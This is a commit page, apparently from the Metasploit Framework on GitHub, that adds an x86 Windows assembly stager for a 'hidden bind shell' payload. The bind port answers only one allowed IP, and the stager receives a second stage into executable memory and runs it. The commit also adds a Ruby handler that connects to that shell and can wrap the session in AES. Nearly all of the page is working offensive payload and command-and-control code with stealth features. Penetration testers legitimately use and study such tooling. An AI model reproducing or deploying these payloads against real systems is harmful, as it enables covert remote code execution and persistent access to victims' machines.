Skip to content

Commit c0fa8c0

Browse files
Peregrino Grisroot
authored andcommitted
Add stager for hidden bind shell payload
1 parent 4164834 commit c0fa8c0

File tree

4 files changed

+324
-91
lines changed

4 files changed

+324
-91
lines changed

external/source/shellcode/windows/x86/src/block/block_hidden_bind_tcp.asm

Lines changed: 0 additions & 91 deletions
This file was deleted.
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
;-----------------------------------------------------------------------------;
2+
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Borja Merino (bmerinofe[at]gmail[dot]com) [Hidden ACL support]]
4+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
5+
; Version: 1.0 (27 May 2014)
6+
; Size: 352 bytes
7+
; Build: >build.py stager_hidden_bind_tcp
8+
;-----------------------------------------------------------------------------;
9+
[BITS 32]
10+
[ORG 0]
11+
12+
cld ; Clear the direction flag.
13+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
14+
%include "./src/block/block_api.asm"
15+
start: ;
16+
pop ebp ; pop off the address of 'api_call' for calling later.
17+
%include "./src/block/block_hidden_bind_tcp.asm"
18+
; By here we will have performed the bind_tcp connection and EDI will be our socket.
19+
%include "./src/block/block_recv.asm"
20+
; By now we will have received in the second stage into a RWX buffer and be executing it
Lines changed: 231 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,231 @@
1+
# -*- coding: binary -*-
2+
module Msf
3+
module Handler
4+
5+
###
6+
#
7+
# This module implements the Bind Hidden TCP handler. This means that
8+
# it will attempt to connect to a remote host on a given port for a period of
9+
# time (typically the duration of an exploit) to see if a the payload has
10+
# started listening. This can tend to be rather verbose in terms of traffic
11+
# and in general it is preferable to use reverse payloads.
12+
#
13+
###
14+
module BindHiddenTcp
15+
16+
include Msf::Handler
17+
18+
#
19+
# Returns the handler specific string representation, in this case
20+
# 'bind_hidden_tcp'.
21+
#
22+
def self.handler_type
23+
return "bind_hidden_tcp"
24+
end
25+
26+
#
27+
# Returns the connection oriented general handler type, in this case bind.
28+
#
29+
def self.general_handler_type
30+
"bind"
31+
end
32+
33+
#
34+
# Initializes a bind handler and adds the options common to all bind
35+
# payloads, such as local port.
36+
#
37+
def initialize(info = {})
38+
super
39+
40+
register_options(
41+
[
42+
Opt::LPORT(4444),
43+
OptAddress.new('RHOST', [false, 'The target address', '']),
44+
OptAddress.new('AHOST', [true, 'IP address allowed', '192.168.1.33']),
45+
], Msf::Handler::BindHiddenTcp)
46+
47+
self.conn_threads = []
48+
self.listener_threads = []
49+
self.listener_pairs = {}
50+
end
51+
52+
#
53+
# Kills off the connection threads if there are any hanging around.
54+
#
55+
def cleanup_handler
56+
# Kill any remaining handle_connection threads that might
57+
# be hanging around
58+
conn_threads.each { |thr|
59+
thr.kill
60+
}
61+
end
62+
63+
#
64+
# Starts a new connecting thread
65+
#
66+
def add_handler(opts={})
67+
68+
# Merge the updated datastore values
69+
opts.each_pair do |k,v|
70+
datastore[k] = v
71+
end
72+
73+
# Start a new handler
74+
start_handler
75+
end
76+
77+
#
78+
# Starts monitoring for an outbound connection to become established.
79+
#
80+
def start_handler
81+
82+
# Maximum number of seconds to run the handler
83+
ctimeout = 150
84+
85+
if (exploit_config and exploit_config['active_timeout'])
86+
ctimeout = exploit_config['active_timeout'].to_i
87+
end
88+
89+
# Take a copy of the datastore options
90+
91+
ahost = datastore['AHOST']
92+
rhost = datastore['RHOST']
93+
lport = datastore['LPORT']
94+
95+
# Ignore this if one of the required options is missing
96+
return if not ahost
97+
return if not rhost
98+
return if not lport
99+
100+
# Only try the same host/port combination once
101+
phash = rhost + ':' + lport.to_s
102+
return if self.listener_pairs[phash]
103+
self.listener_pairs[phash] = true
104+
105+
# Start a new handling thread
106+
self.listener_threads << framework.threads.spawn("BindTcpHandlerListener-#{lport}", false) {
107+
client = nil
108+
109+
print_status("Started Hidden bind handler")
110+
111+
if (rhost == nil)
112+
raise ArgumentError,
113+
"RHOST is not defined; bind stager cannot function.",
114+
caller
115+
end
116+
117+
stime = Time.now.to_i
118+
119+
while (stime + ctimeout > Time.now.to_i)
120+
begin
121+
client = Rex::Socket::Tcp.create(
122+
'PeerHost' => rhost,
123+
'PeerPort' => lport.to_i,
124+
'Proxies' => datastore['Proxies'],
125+
'Context' =>
126+
{
127+
'Msf' => framework,
128+
'MsfPayload' => self,
129+
'MsfExploit' => assoc_exploit
130+
})
131+
rescue Rex::ConnectionRefused
132+
# Connection refused is a-okay
133+
rescue ::Exception
134+
wlog("Exception caught in bind handler: #{$!.class} #{$!}")
135+
end
136+
137+
break if client
138+
139+
# Wait a second before trying again
140+
Rex::ThreadSafe.sleep(0.5)
141+
end
142+
143+
# Valid client connection?
144+
if (client)
145+
# Increment the has connection counter
146+
self.pending_connections += 1
147+
148+
# Start a new thread and pass the client connection
149+
# as the input and output pipe. Client's are expected
150+
# to implement the Stream interface.
151+
conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy|
152+
begin
153+
handle_connection(wrap_aes_socket(client_copy))
154+
rescue
155+
elog("Exception raised from BindHiddenTcp.handle_connection: #{$!}")
156+
end
157+
}
158+
else
159+
wlog("No connection received before the handler completed")
160+
end
161+
}
162+
end
163+
164+
def wrap_aes_socket(sock)
165+
if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == ""
166+
return sock
167+
end
168+
169+
socks = Rex::Socket::tcp_socket_pair()
170+
socks[0].extend(Rex::Socket::Tcp)
171+
socks[1].extend(Rex::Socket::Tcp)
172+
173+
m = OpenSSL::Digest::Digest.new('md5')
174+
m.reset
175+
key = m.digest(datastore["AESPassword"] || "")
176+
177+
Rex::ThreadFactory.spawn('AESEncryption', false) {
178+
c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
179+
c1.encrypt
180+
c1.key=key
181+
sock.put([0].pack('N'))
182+
sock.put(c1.iv=c1.random_iv)
183+
buf1 = socks[0].read(4096)
184+
while buf1 and buf1 != ""
185+
sock.put(c1.update(buf1))
186+
buf1 = socks[0].read(4096)
187+
end
188+
sock.close()
189+
}
190+
191+
Rex::ThreadFactory.spawn('AESEncryption', false) {
192+
c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
193+
c2.decrypt
194+
c2.key=key
195+
iv=""
196+
while iv.length < 16
197+
iv << sock.read(16-iv.length)
198+
end
199+
c2.iv = iv
200+
buf2 = sock.read(4096)
201+
while buf2 and buf2 != ""
202+
socks[0].put(c2.update(buf2))
203+
buf2 = sock.read(4096)
204+
end
205+
socks[0].close()
206+
}
207+
208+
return socks[1]
209+
end
210+
211+
#
212+
# Nothing to speak of.
213+
#
214+
def stop_handler
215+
# Stop the listener threads
216+
self.listener_threads.each do |t|
217+
t.kill
218+
end
219+
self.listener_threads = []
220+
self.listener_pairs = {}
221+
end
222+
223+
protected
224+
225+
attr_accessor :conn_threads # :nodoc:
226+
attr_accessor :listener_threads # :nodoc:
227+
attr_accessor :listener_pairs # :nodoc:
228+
end
229+
230+
end
231+
end

0 commit comments

Comments
 (0)